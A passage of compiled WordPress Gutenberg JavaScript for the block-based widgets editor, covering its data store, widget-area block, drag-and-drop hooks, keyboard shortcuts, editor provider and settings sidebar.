configuration. * * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#register * * @type {Object} */ const storeConfig = { reducer: reducer, selectors: store_selectors_namespaceObject, resolvers: resolvers_namespaceObject, actions: store_actions_namespaceObject }; /** * Store definition for the edit widgets namespace. * * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore * * @type {Object} */ const store_store = (0,external_wp_data_namespaceObject.createReduxStore)(constants_STORE_NAME, storeConfig); (0,external_wp_data_namespaceObject.register)(store_store); // This package uses a few in-memory post types as wrappers for convenience. // This middleware prevents any network requests related to these types as they are // bound to fail anyway. external_wp_apiFetch_default().use(function (options, next) { if (options.path?.indexOf('/wp/v2/types/widget-area') === 0) { return Promise.resolve({}); } return next(options); }); unlock(store_store).registerPrivateSelectors(private_selectors_namespaceObject); ;// external ["wp","hooks"] const external_wp_hooks_namespaceObject = window["wp"]["hooks"]; ;// ./node_modules/@wordpress/edit-widgets/build-module/filters/move-to-widget-area.js /** * WordPress dependencies */ /** * Internal dependencies */ const withMoveToWidgetAreaToolbarItem = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(BlockEdit => props => { const { clientId, name: blockName } = props; const { widgetAreas, currentWidgetAreaId, canInsertBlockInWidgetArea } = (0,external_wp_data_namespaceObject.useSelect)(select => { // Component won't display for a widget area, so don't run selectors. if (blockName === 'core/widget-area') { return {}; } const selectors = select(store_store); const widgetAreaBlock = selectors.getParentWidgetAreaBlock(clientId); return { widgetAreas: selectors.getWidgetAreas(), currentWidgetAreaId: widgetAreaBlock?.attributes?.id, canInsertBlockInWidgetArea: selectors.canInsertBlockInWidgetArea(blockName) }; }, [clientId, blockName]); const { moveBlockToWidgetArea } = (0,external_wp_data_namespaceObject.useDispatch)(store_store); const hasMultipleWidgetAreas = widgetAreas?.length > 1; const isMoveToWidgetAreaVisible = blockName !== 'core/widget-area' && hasMultipleWidgetAreas && canInsertBlockInWidgetArea; return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockEdit, { ...props }, "edit"), isMoveToWidgetAreaVisible && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_widgets_namespaceObject.MoveToWidgetArea, { widgetAreas: widgetAreas, currentWidgetAreaId: currentWidgetAreaId, onSelect: widgetAreaId => { moveBlockToWidgetArea(props.clientId, widgetAreaId); } }) })] }); }, 'withMoveToWidgetAreaToolbarItem'); (0,external_wp_hooks_namespaceObject.addFilter)('editor.BlockEdit', 'core/edit-widgets/block-edit', withMoveToWidgetAreaToolbarItem); ;// external ["wp","mediaUtils"] const external_wp_mediaUtils_namespaceObject = window["wp"]["mediaUtils"]; ;// ./node_modules/@wordpress/edit-widgets/build-module/filters/replace-media-upload.js /** * WordPress dependencies */ const replaceMediaUpload = () => external_wp_mediaUtils_namespaceObject.MediaUpload; (0,external_wp_hooks_namespaceObject.addFilter)('editor.MediaUpload', 'core/edit-widgets/replace-media-upload', replaceMediaUpload); ;// ./node_modules/@wordpress/edit-widgets/build-module/filters/index.js /** * Internal dependencies */ ;// ./node_modules/@wordpress/edit-widgets/build-module/blocks/widget-area/edit/use-is-dragging-within.js /** * WordPress dependencies */ /** @typedef {import('@wordpress/element').RefObject} RefObject */ /** * A React hook to determine if it's dragging within the target element. * * @param {RefObject<HTMLElement>} elementRef The target elementRef object. * * @return {boolean} Is dragging within the target element. */ const useIsDraggingWithin = elementRef => { const [isDraggingWithin, setIsDraggingWithin] = (0,external_wp_element_namespaceObject.useState)(false); (0,external_wp_element_namespaceObject.useEffect)(() => { const { ownerDocument } = elementRef.current; function handleDragStart(event) { // Check the first time when the dragging starts. handleDragEnter(event); } // Set to false whenever the user cancel the drag event by either releasing the mouse or press Escape. function handleDragEnd() { setIsDraggingWithin(false); } function handleDragEnter(event) { // Check if the current target is inside the item element. if (elementRef.current.contains(event.target)) { setIsDraggingWithin(true); } else { setIsDraggingWithin(false); } } // Bind these events to the document to catch all drag events. // Ideally, we can also use `event.relatedTarget`, but sadly that doesn't work in Safari. ownerDocument.addEventListener('dragstart', handleDragStart); ownerDocument.addEventListener('dragend', handleDragEnd); ownerDocument.addEventListener('dragenter', handleDragEnter); return () => { ownerDocument.removeEventListener('dragstart', handleDragStart); ownerDocument.removeEventListener('dragend', handleDragEnd); ownerDocument.removeEventListener('dragenter', handleDragEnter); }; }, []); return isDraggingWithin; }; /* harmony default export */ const use_is_dragging_within = (useIsDraggingWithin); ;// ./node_modules/@wordpress/edit-widgets/build-module/blocks/widget-area/edit/inner-blocks.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ function WidgetAreaInnerBlocks({ id }) { const [blocks, onInput, onChange] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)('root', 'postType'); const innerBlocksRef = (0,external_wp_element_namespaceObject.useRef)(); const isDraggingWithinInnerBlocks = use_is_dragging_within(innerBlocksRef); const shouldHighlightDropZone = isDraggingWithinInnerBlocks; // Using the experimental hook so that we can control the className of the element. const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)({ ref: innerBlocksRef }, { value: blocks, onInput, onChange, templateLock: false, renderAppender: external_wp_blockEditor_namespaceObject.InnerBlocks.ButtonBlockAppender }); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { "data-widget-area-id": id, className: dist_clsx('wp-block-widget-area__inner-blocks block-editor-inner-blocks editor-styles-wrapper', { 'wp-block-widget-area__highlight-drop-zone': shouldHighlightDropZone }), children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps }) }); } ;// ./node_modules/@wordpress/edit-widgets/build-module/blocks/widget-area/edit/index.js /** * WordPress dependencies */ /** * Internal dependencies */ /** @typedef {import('@wordpress/element').RefObject} RefObject */ function WidgetAreaEdit({ clientId, className, attributes: { id, name } }) { const isOpen = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getIsWidgetAreaOpen(clientId), [clientId]); const { setIsWidgetAreaOpen } = (0,external_wp_data_namespaceObject.useDispatch)(store_store); const wrapper = (0,external_wp_element_namespaceObject.useRef)(); const setOpen = (0,external_wp_element_namespaceObject.useCallback)(openState => setIsWidgetAreaOpen(clientId, openState), [clientId]); const isDragging = useIsDragging(wrapper); const isDraggingWithin = use_is_dragging_within(wrapper); const [openedWhileDragging, setOpenedWhileDragging] = (0,external_wp_element_namespaceObject.useState)(false); (0,external_wp_element_namespaceObject.useEffect)(() => { if (!isDragging) { setOpenedWhileDragging(false); return; } if (isDraggingWithin && !isOpen) { setOpen(true); setOpenedWhileDragging(true); } else if (!isDraggingWithin && isOpen && openedWhileDragging) { setOpen(false); } }, [isOpen, isDragging, isDraggingWithin, openedWhileDragging]); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Panel, { className: className, ref: wrapper, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, { title: name, opened: isOpen, onToggle: () => { setIsWidgetAreaOpen(clientId, !isOpen); }, scrollAfterOpen: !isDragging, children: ({ opened }) => /*#__PURE__*/ // This is required to ensure LegacyWidget blocks are not // unmounted when the panel is collapsed. Unmounting legacy // widgets may have unintended consequences (e.g. TinyMCE // not being properly reinitialized) (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableDisclosureContent, { className: "wp-block-widget-area__panel-body-content", visible: opened, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_coreData_namespaceObject.EntityProvider, { kind: "root", type: "postType", id: `widget-area-${id}`, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WidgetAreaInnerBlocks, { id: id }) }) }) }) }); } /** * A React hook to determine if dragging is active. * * @param {RefObject<HTMLElement>} elementRef The target elementRef object. * * @return {boolean} Is dragging within the entire document. */ const useIsDragging = elementRef => { const [isDragging, setIsDragging] = (0,external_wp_element_namespaceObject.useState)(false); (0,external_wp_element_namespaceObject.useEffect)(() => { const { ownerDocument } = elementRef.current; function handleDragStart() { setIsDragging(true); } function handleDragEnd() { setIsDragging(false); } ownerDocument.addEventListener('dragstart', handleDragStart); ownerDocument.addEventListener('dragend', handleDragEnd); return () => { ownerDocument.removeEventListener('dragstart', handleDragStart); ownerDocument.removeEventListener('dragend', handleDragEnd); }; }, []); return isDragging; }; ;// ./node_modules/@wordpress/edit-widgets/build-module/blocks/widget-area/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const metadata = { $schema: "https://schemas.wp.org/trunk/block.json", name: "core/widget-area", title: "Widget Area", category: "widgets", attributes: { id: { type: "string" }, name: { type: "string" } }, supports: { html: false, inserter: false, customClassName: false, reusable: false, __experimentalToolbar: false, __experimentalParentSelector: false, __experimentalDisableBlockOverlay: true }, editorStyle: "wp-block-widget-area-editor", style: "wp-block-widget-area" }; const { name: widget_area_name } = metadata; const settings = { title: (0,external_wp_i18n_namespaceObject.__)('Widget Area'), description: (0,external_wp_i18n_namespaceObject.__)('A widget area container.'), __experimentalLabel: ({ name: label }) => label, edit: WidgetAreaEdit }; ;// ./node_modules/@wordpress/edit-widgets/build-module/components/error-boundary/index.js /** * WordPress dependencies */ function CopyButton({ text, children }) { const ref = (0,external_wp_compose_namespaceObject.useCopyToClipboard)(text); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, variant: "secondary", ref: ref, children: children }); } function ErrorBoundaryWarning({ message, error }) { const actions = [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CopyButton, { text: error.stack, children: (0,external_wp_i18n_namespaceObject.__)('Copy Error') }, "copy-error")]; return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { className: "edit-widgets-error-boundary", actions: actions, children: message }); } class ErrorBoundary extends external_wp_element_namespaceObject.Component { constructor() { super(...arguments); this.state = { error: null }; } componentDidCatch(error) { (0,external_wp_hooks_namespaceObject.doAction)('editor.ErrorBoundary.errorLogged', error); } static getDerivedStateFromError(error) { return { error }; } render() { if (!this.state.error) { return this.props.children; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ErrorBoundaryWarning, { message: (0,external_wp_i18n_namespaceObject.__)('The editor has encountered an unexpected error.'), error: this.state.error }); } } ;// external ["wp","patterns"] const external_wp_patterns_namespaceObject = window["wp"]["patterns"]; ;// external ["wp","keyboardShortcuts"] const external_wp_keyboardShortcuts_namespaceObject = window["wp"]["keyboardShortcuts"]; ;// external ["wp","keycodes"] const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"]; ;// ./node_modules/@wordpress/edit-widgets/build-module/components/keyboard-shortcuts/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function KeyboardShortcuts() { const { redo, undo } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store); const { saveEditedWidgetAreas } = (0,external_wp_data_namespaceObject.useDispatch)(store_store); (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/edit-widgets/undo', event => { undo(); event.preventDefault(); }); (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/edit-widgets/redo', event => { redo(); event.preventDefault(); }); (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/edit-widgets/save', event => { event.preventDefault(); saveEditedWidgetAreas(); }); return null; } function KeyboardShortcutsRegister() { // Registering the shortcuts. const { registerShortcut } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_keyboardShortcuts_namespaceObject.store); (0,external_wp_element_namespaceObject.useEffect)(() => { registerShortcut({ name: 'core/edit-widgets/undo', category: 'global', description: (0,external_wp_i18n_namespaceObject.__)('Undo your last changes.'), keyCombination: { modifier: 'primary', character: 'z' } }); registerShortcut({ name: 'core/edit-widgets/redo', category: 'global', description: (0,external_wp_i18n_namespaceObject.__)('Redo your last undo.'), keyCombination: { modifier: 'primaryShift', character: 'z' }, // Disable on Apple OS because it conflicts with the browser's // history shortcut. It's a fine alias for both Windows and Linux. // Since there's no conflict for Ctrl+Shift+Z on both Windows and // Linux, we keep it as the default for consistency. aliases: (0,external_wp_keycodes_namespaceObject.isAppleOS)() ? [] : [{ modifier: 'primary', character: 'y' }] }); registerShortcut({ name: 'core/edit-widgets/save', category: 'global', description: (0,external_wp_i18n_namespaceObject.__)('Save your changes.'), keyCombination: { modifier: 'primary', character: 's' } }); registerShortcut({ name: 'core/edit-widgets/keyboard-shortcuts', category: 'main', description: (0,external_wp_i18n_namespaceObject.__)('Display these keyboard shortcuts.'), keyCombination: { modifier: 'access', character: 'h' } }); registerShortcut({ name: 'core/edit-widgets/next-region', category: 'global', description: (0,external_wp_i18n_namespaceObject.__)('Navigate to the next part of the editor.'), keyCombination: { modifier: 'ctrl', character: '`' }, aliases: [{ modifier: 'access', character: 'n' }] }); registerShortcut({ name: 'core/edit-widgets/previous-region', category: 'global', description: (0,external_wp_i18n_namespaceObject.__)('Navigate to the previous part of the editor.'), keyCombination: { modifier: 'ctrlShift', character: '`' }, aliases: [{ modifier: 'access', character: 'p' }, { modifier: 'ctrlShift', character: '~' }] }); }, [registerShortcut]); return null; } KeyboardShortcuts.Register = KeyboardShortcutsRegister; /* harmony default export */ const keyboard_shortcuts = (KeyboardShortcuts); ;// ./node_modules/@wordpress/edit-widgets/build-module/hooks/use-last-selected-widget-area.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * A react hook that returns the client id of the last widget area to have * been selected, or to have a selected block within it. * * @return {string} clientId of the widget area last selected. */ const useLastSelectedWidgetArea = () => (0,external_wp_data_namespaceObject.useSelect)(select => { const { getBlockSelectionEnd, getBlockName } = select(external_wp_blockEditor_namespaceObject.store); const selectionEndClientId = getBlockSelectionEnd(); // If the selected block is a widget area, return its clientId. if (getBlockName(selectionEndClientId) === 'core/widget-area') { return selectionEndClientId; } const { getParentWidgetAreaBlock } = select(store_store); const widgetAreaBlock = getParentWidgetAreaBlock(selectionEndClientId); const widgetAreaBlockClientId = widgetAreaBlock?.clientId; if (widgetAreaBlockClientId) { return widgetAreaBlockClientId; } // If no widget area has been selected, return the clientId of the first // area. const { getEntityRecord } = select(external_wp_coreData_namespaceObject.store); const widgetAreasPost = getEntityRecord(KIND, POST_TYPE, buildWidgetAreasPostId()); return widgetAreasPost?.blocks[0]?.clientId; }, []); /* harmony default export */ const use_last_selected_widget_area = (useLastSelectedWidgetArea); ;// ./node_modules/@wordpress/edit-widgets/build-module/constants.js const ALLOW_REUSABLE_BLOCKS = false; const ENABLE_EXPERIMENTAL_FSE_BLOCKS = false; ;// ./node_modules/@wordpress/edit-widgets/build-module/components/widget-areas-block-editor-provider/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const { ExperimentalBlockEditorProvider } = unlock(external_wp_blockEditor_namespaceObject.privateApis); const { PatternsMenuItems } = unlock(external_wp_patterns_namespaceObject.privateApis); const { BlockKeyboardShortcuts } = unlock(external_wp_blockLibrary_namespaceObject.privateApis); const EMPTY_ARRAY = []; function WidgetAreasBlockEditorProvider({ blockEditorSettings, children, ...props }) { const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium'); const { hasUploadPermissions, reusableBlocks, isFixedToolbarActive, keepCaretInsideBlock, pageOnFront, pageForPosts } = (0,external_wp_data_namespaceObject.useSelect)(select => { var _canUser; const { canUser, getEntityRecord, getEntityRecords } = select(external_wp_coreData_namespaceObject.store); const siteSettings = canUser('read', { kind: 'root', name: 'site' }) ? getEntityRecord('root', 'site') : undefined; return { hasUploadPermissions: (_canUser = canUser('create', { kind: 'root', name: 'media' })) !== null && _canUser !== void 0 ? _canUser : true, reusableBlocks: ALLOW_REUSABLE_BLOCKS ? getEntityRecords('postType', 'wp_block') : EMPTY_ARRAY, isFixedToolbarActive: !!select(external_wp_preferences_namespaceObject.store).get('core/edit-widgets', 'fixedToolbar'), keepCaretInsideBlock: !!select(external_wp_preferences_namespaceObject.store).get('core/edit-widgets', 'keepCaretInsideBlock'), pageOnFront: siteSettings?.page_on_front, pageForPosts: siteSettings?.page_for_posts }; }, []); const { setIsInserterOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store); const settings = (0,external_wp_element_namespaceObject.useMemo)(() => { let mediaUploadBlockEditor; if (hasUploadPermissions) { mediaUploadBlockEditor = ({ onError, ...argumentsObject }) => { (0,external_wp_mediaUtils_namespaceObject.uploadMedia)({ wpAllowedMimeTypes: blockEditorSettings.allowedMimeTypes, onError: ({ message }) => onError(message), ...argumentsObject }); }; } return { ...blockEditorSettings, __experimentalReusableBlocks: reusableBlocks, hasFixedToolbar: isFixedToolbarActive || !isLargeViewport, keepCaretInsideBlock, mediaUpload: mediaUploadBlockEditor, templateLock: 'all', __experimentalSetIsInserterOpened: setIsInserterOpened, pageOnFront, pageForPosts, editorTool: 'edit' }; }, [hasUploadPermissions, blockEditorSettings, isFixedToolbarActive, isLargeViewport, keepCaretInsideBlock, reusableBlocks, setIsInserterOpened, pageOnFront, pageForPosts]); const widgetAreaId = use_last_selected_widget_area(); const [blocks, onInput, onChange] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)(KIND, POST_TYPE, { id: buildWidgetAreasPostId() }); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.SlotFillProvider, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(keyboard_shortcuts.Register, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockKeyboardShortcuts, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(ExperimentalBlockEditorProvider, { value: blocks, onInput: onInput, onChange: onChange, settings: settings, useSubRegistry: false, ...props, children: [children, /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternsMenuItems, { rootClientId: widgetAreaId })] })] }); } ;// ./node_modules/@wordpress/icons/build-module/library/drawer-left.js /** * WordPress dependencies */ const drawerLeft = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zM8.5 18.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h2.5v13zm10-.5c0 .3-.2.5-.5.5h-8v-13h8c.3 0 .5.2.5.5v12z" }) }); /* harmony default export */ const drawer_left = (drawerLeft); ;// ./node_modules/@wordpress/icons/build-module/library/drawer-right.js /** * WordPress dependencies */ const drawerRight = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4 14.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h8v13zm4.5-.5c0 .3-.2.5-.5.5h-2.5v-13H18c.3 0 .5.2.5.5v12z" }) }); /* harmony default export */ const drawer_right = (drawerRight); ;// ./node_modules/@wordpress/icons/build-module/library/block-default.js /** * WordPress dependencies */ const blockDefault = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z" }) }); /* harmony default export */ const block_default = (blockDefault); ;// external ["wp","url"] const external_wp_url_namespaceObject = window["wp"]["url"]; ;// external ["wp","dom"] const external_wp_dom_namespaceObject = window["wp"]["dom"]; ;// ./node_modules/@wordpress/edit-widgets/build-module/components/sidebar/widget-areas.js /** * WordPress dependencies */ /** * Internal dependencies */ function WidgetAreas({ selectedWidgetAreaId }) { const widgetAreas = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getWidgetAreas(), []); const selectedWidgetArea = (0,external_wp_element_namespaceObject.useMemo)(() => selectedWidgetAreaId && widgetAreas?.find(widgetArea => widgetArea.id === selectedWidgetAreaId), [selectedWidgetAreaId, widgetAreas]); let description; if (!selectedWidgetArea) { description = (0,external_wp_i18n_namespaceObject.__)( // eslint-disable-next-line no-restricted-syntax -- 'sidebar' is a common web design term for layouts 'Widget Areas are global parts in your site’s layout that can accept blocks. These vary by theme, but are typically parts like your Sidebar or Footer.'); } else if (selectedWidgetAreaId === 'wp_inactive_widgets') { description = (0,external_wp_i18n_namespaceObject.__)('Blocks in this Widget Area will not be displayed in your site.'); } else { description = selectedWidgetArea.description; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-widgets-widget-areas", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-widgets-widget-areas__top-container", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: block_default }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { // Use `dangerouslySetInnerHTML` to keep backwards // compatibility. Basic markup in the description is an // established feature of WordPress. // @see https://github.com/WordPress/gutenberg/issues/33106 dangerouslySetInnerHTML: { __html: (0,external_wp_dom_namespaceObject.safeHTML)(description) } }), widgetAreas?.length === 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)('Your theme does not contain any Widget Areas.') }), !selectedWidgetArea && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, href: (0,external_wp_url_namespaceObject.addQueryArgs)('customize.php', { 'autofocus[panel]': 'widgets', return: window.location.pathname }), variant: "tertiary", children: (0,external_wp_i18n_namespaceObject.__)('Manage with live preview') })] })] }) }); } ;// ./node_modules/@wordpress/edit-widgets/build-module/components/sidebar/index.js /** * WordPress dependencies */ const SIDEBAR_ACTIVE_BY_DEFAULT = external_wp_element_namespaceObject.Platform.select({ web: true, native: false }); const BLOCK_INSPECTOR_IDENTIFIER = 'edit-widgets/block-inspector'; // Widget areas were once called block areas, so use 'edit-widgets/block-areas' // for backwards compatibility. const WIDGET_AREAS_IDENTIFIER = 'edit-widgets/block-areas'; /** * Internal dependencies */ const { Tabs } = unlock(external_wp_components_namespaceObject.privateApis); function SidebarHeader({ selectedWidgetAreaBlock }) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Tabs.TabList, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.Tab, { tabId: WIDGET_AREAS_IDENTIFIER, children: selectedWidgetAreaBlock ? selectedWidgetAreaBlock.attributes.name : (0,external_wp_i18n_namespaceObject.__)('Widget Areas') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.Tab, { tabId: BLOCK_INSPECTOR_IDENTIFIER, children: (0,external_wp_i18n_namespaceObject.__)('Block') })] }); } function SidebarContent({ hasSelectedNonAreaBlock, currentArea, isGeneralSidebarOpen, selectedWidgetAreaBlock }) { const { enableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store); (0,external_wp_element_namespaceObject.useEffect)(() => { if (hasSelectedNonAreaBlock && currentArea === WIDGET_AREAS_IDENTIFIER && isGeneralSidebarOpen) { enableComplementaryArea('core/edit-widgets', BLOCK_INSPECTOR_IDENTIFIER); } if (!hasSelectedNonAreaBlock && currentArea === BLOCK_INSPECTOR_IDENTIFIER && isGeneralSidebarOpen) { enableComplementaryArea('core/edit-widgets', WIDGET_AREAS_IDENTIFIER); } // We're intentionally leaving `currentArea` and `isGeneralSidebarOpen` // out of the dep array because we want this effect to run based on // block selection changes, not sidebar state changes. }, [hasSelectedNonAreaBlock, enableComplementaryArea]); const tabsContextValue = (0,external_wp_element_namespaceObject.useContext)(Tabs.Context); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(complementary_area, { className: "edit-widgets-sidebar", header: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.Context.Provider, { value: tabsContextValue, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarHeader, { selectedWidgetAreaBlock: selectedWidgetAreaBlock }) }), headerClassName: "edit-widgets-sidebar__panel-tabs" /* translators: button label text should, if possible, be under 16 characters. */, title: (0,external_wp_i18n_namespaceObject.__)('Settings'), closeLabel: (0,external_wp_i18n_namespaceObject.__)('Close Settings'), scope: "core/edit-widgets", identifier: currentArea, icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? drawer_left : drawer_right, isActiveByDefault: SIDEBAR_ACTIVE_BY_DEFAULT, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Tabs.Context.Provider, { value: tabsContextValue, children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.TabPanel, { tabId: WIDGET_AREAS_IDENTIFIER, focusable: false, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WidgetAreas, { selectedWidgetAreaId: selectedWidgetAreaBlock?.attributes.id }) }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.TabPanel, { tabId: BLOCK_INSPECTOR_IDENTIFIER, focusable: false, children: hasSelectedNonAreaBlock ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockInspector, {}) : /*#__PURE__*/ // Pretend that Widget Areas are part of the UI by not // showing the Block Inspector when one is selected. (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-block-inspector__no-blocks", children: (0,external_wp_i18n_namespaceObject.__)('No block selected.') }) })] }) }); } function Sidebar() { const { currentArea, hasSelectedNonAreaBlock, isGeneralSidebarOpen, selectedWidgetAreaBlock } = (0,external_wp_data_namespaceObject.useSelect)(select => { const { getSelectedBlock, getBlock, getBlockParentsByBlockName } = select(external_wp_blockEditor_namespaceObject.store); const { getActiveComplementaryArea } = select(store); const selectedBlock = getSelectedBlock(); const activeArea = getActiveComplementaryArea(store_store.name); let currentSelection = activeArea; if (!currentSelection) { if (selectedBlock) { currentSelection = BLOCK_INSPECTOR_IDENTIFIER; } else { currentSelection = WIDGET_AREAS_IDENTIFIER; } } let widgetAreaBlock; if (selectedBlock) { if (selectedBlock.name === 'core/widget-area') { widgetAreaBlock = selectedBlock; } else { widgetAreaBlock = getBlock(getBlockParentsByBlockName(selectedBlock.clientId, 'core/widget-area')[0]); } } return { currentArea: currentSelection, hasSelectedNonAreaBlock: !!(selectedBlock && selectedBlock.name !== 'core/widget-area'), isGeneralSidebarOpen: !!activeArea, selectedWidgetAreaBlock: widgetAreaBlock }; }, []); const { enableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store); // `newSelectedTabId` could technically be falsy if no tab is selected (i.e. // the initial render) or when we don't want a tab displayed (i.e. the // sidebar is closed). These cases should both be covered by the `!!` check // below, so we shouldn't need any additional falsy handling. const onTabSelect = (0,external_wp_element_namespaceObject.useCallback)(newSelectedTabId => { if (!!newSelectedTabId) { enableComplementaryArea(store_store.name, newSelectedTabId); } }, [enableComplementaryArea]); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs // Due to how this component is controlled (via a value from the // `interfaceStore`), when the sidebar closes the currently selected // tab can't be found. This causes the component to continuously reset // the selection to `null` in an infinite loop. Proactively setting // the selected tab to `null` avoids that. , { selectedTabId: isGeneralSidebarOpen ? currentArea : null, onSelect: onTabSelect, selectOnMove: false, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarContent, { hasSelectedNonAreaBlock: hasSelectedNonAreaBlock, currentArea: currentArea, isGeneralSidebarOpen: isGeneralSidebarOpen, selectedWidgetAreaBlock: selectedWidgetAreaBlock }) }); } ;// ./node_modules/@wordpress/icons/build-module/library/plus.js /** * WordPress dependencies */ const plus = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", 